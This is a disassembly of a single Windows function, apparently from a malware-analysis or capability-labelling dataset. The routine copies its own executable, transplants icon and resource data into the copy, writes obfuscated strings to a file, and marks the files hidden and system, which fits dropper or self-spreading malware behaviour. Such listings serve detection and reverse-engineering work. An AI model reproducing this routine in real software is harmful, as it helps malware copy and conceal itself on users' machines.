Function at 0x4027b0
Capabilities:
Copy file
Extract resource via kernel32 functions
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x404481
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x324
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
push 3
lea ecx, [esp + 0x1c]
mov dword [esp + 0x340], 0
call sub.MFC42.DLL_CString::LoadStringA
lea eax, [esp + 0x18]
push eax
call fcn.00401410
add esp, 4
lea ecx, [esp + 0x22c]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [esp + 0x344]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, 0x407210
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x20]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x1c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x20]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0xe
push 3
push 0
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceA]
call edi
push 3
push 3
push 0
mov esi, eax
call edi
test esi, esi
mov ebp, eax
je 0x402953
test ebp, ebp
je 0x402953
mov edi, dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
call edi
push ebp
push 0
mov ebx, eax
call edi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [esp + 0x14], eax
call ebx
mov edx, dword [esp + 0x10]
mov edi, eax
push edx
call ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
mov ebx, eax
call esi
push ebp
push 0
mov dword [esp + 0x18], eax
call esi
mov ebp, eax
lea eax, [esp + 0x1c]
push 0
push eax
mov word [edi + 0x12], 1
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov ecx, dword [esp + 0x10]
mov esi, eax
push ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push 0x409
push 1
push 0xe
push esi
call edi
push ebp
push ebx
push 0x409
push 1
push 3
push esi
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov eax, dword [esp + 0x348]
test eax, eax
je 0x402ad7
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x10]
mov byte [esp + 0x33c], 1
call sub.MFC42.DLL_CString::CString_2
push str.25fef5545c846d548cfe15fe97af857dd58d16ee655cf46c5c8ed43cd4fecc9cf464bcee97af
lea ecx, [esp + 0x18]
mov byte [esp + 0x340], 2
call sub.MFC42.DLL_CString::operator
push str.64bcd49c9c1d847cd48c1de5849494f48cdc16ee655cf46c5c8ed43cd4fecc9cf464bcee97af
lea ecx, [esp + 0x18]
call fcn.00403ca6
push str.b4e4848c1664bcd49c9c666e8edc9c9c9e4697aff5e55db5858d16857cd48cfecd849cdcd46c
lea ecx, [esp + 0x18]
call fcn.00403ca6
push str.97af5464d4f4545c847c9cf434167697af
lea ecx, [esp + 0x18]
call fcn.00403ca6
push str.f4545c846c548c8eb48ccc
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
lea edx, [esp + 0x14]
push edx
call fcn.00401410
lea eax, [esp + 0x14]
push eax
call fcn.00401410
mov edi, dword [esp + 0x34c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x12c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x12c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x407210
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x12c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x18]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x12c]
push 0x4071cc
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 0x10
test esi, esi
je 0x402a9a
mov ecx, dword [esp + 0x14]
push ecx
push esi
call dword [sym.imp.MSVCRT.dll_fprintf]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [esp + 0x1c]
push 6
push edx
call esi
lea eax, [esp + 0x124]
push 6
push eax
call esi
lea ecx, [esp + 0x10]
mov byte [esp + 0x33c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x33c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov dword [esp + 0x33c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x334]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x330
ret 8